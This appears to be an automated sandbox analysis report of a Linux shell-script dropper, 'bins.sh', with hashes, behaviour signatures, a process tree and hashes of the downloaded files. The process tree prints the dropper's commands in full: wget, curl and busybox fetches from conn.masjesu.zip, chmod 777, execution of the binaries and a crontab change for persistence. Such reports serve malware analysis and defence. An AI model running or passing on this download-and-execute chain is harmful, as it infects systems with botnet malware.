Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 13:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2423b76f06d59136899a4840e435b324

  • SHA1

    04e69c7b51363355b93f9050ed672ad2d5bf8e22

  • SHA256

    623e3c1314fabbc0c20a6264bcad1f14f53975d61892d2b93a815974ca8c0ff0

  • SHA512

    de88717c2fcdb41324fbd357d35b87c7f4a0af403f8c4eacc5352195e0d5add123c68dc1908c955976c8c9f749c3cc676e85b71b7cb944a106fa6246def3b5e4

  • SSDEEP

    192:fYMLaKmT7JoswkgFCi/qZpwn7kSkgFCiOZpwn7hYMLaKDX:6T7JosgKaX

Malware Config

Signatures

  • Contacts a large (1753) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 14 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:767
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:768
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:772
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              PID:803
            • /bin/rm
              rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
                PID:805
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:811
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:813
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:814
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:818
                    • /bin/rm
                      rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                      2⤵
                        PID:828
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                        • System Network Configuration Discovery
                        PID:832
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                        • System Network Configuration Discovery
                        PID:834

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                      Filesize

                      119KB

                      MD5

                      1b166b95f9cb4b079ef1b9ec8363ddf3

                      SHA1

                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                      SHA256

                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                      SHA512

                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                    • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                      Filesize

                      111KB

                      MD5

                      701e7a55a4f3650f5feee92a9860e5fc

                      SHA1

                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                      SHA256

                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                      SHA512

                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                    • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                      Filesize

                      151KB

                      MD5

                      6c583043d91c55aa470c08c87058e917

                      SHA1

                      abf65a5b9bba69980278ad09356e53de8bb89439

                      SHA256

                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                      SHA512

                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /var/spool/cron/crontabs/tmp.qaSf19

                      Filesize

                      210B

                      MD5

                      33400c099957f49c7542af08e4ba7f6d

                      SHA1

                      6888113f2046ba272b4114dff48287c939fe5035

                      SHA256

                      d60a33beb5e1d685ae98c93b9ff53b4c4091264d12901ebec6e0d4fbc07b7068

                      SHA512

                      cf5c91867e201936cbd62af9ce417b2ed4d30329348d48fd5192561817bd3d4be91962f240b78e2b48de58cb689d014905fe4962373246da2f8acf4c45f71556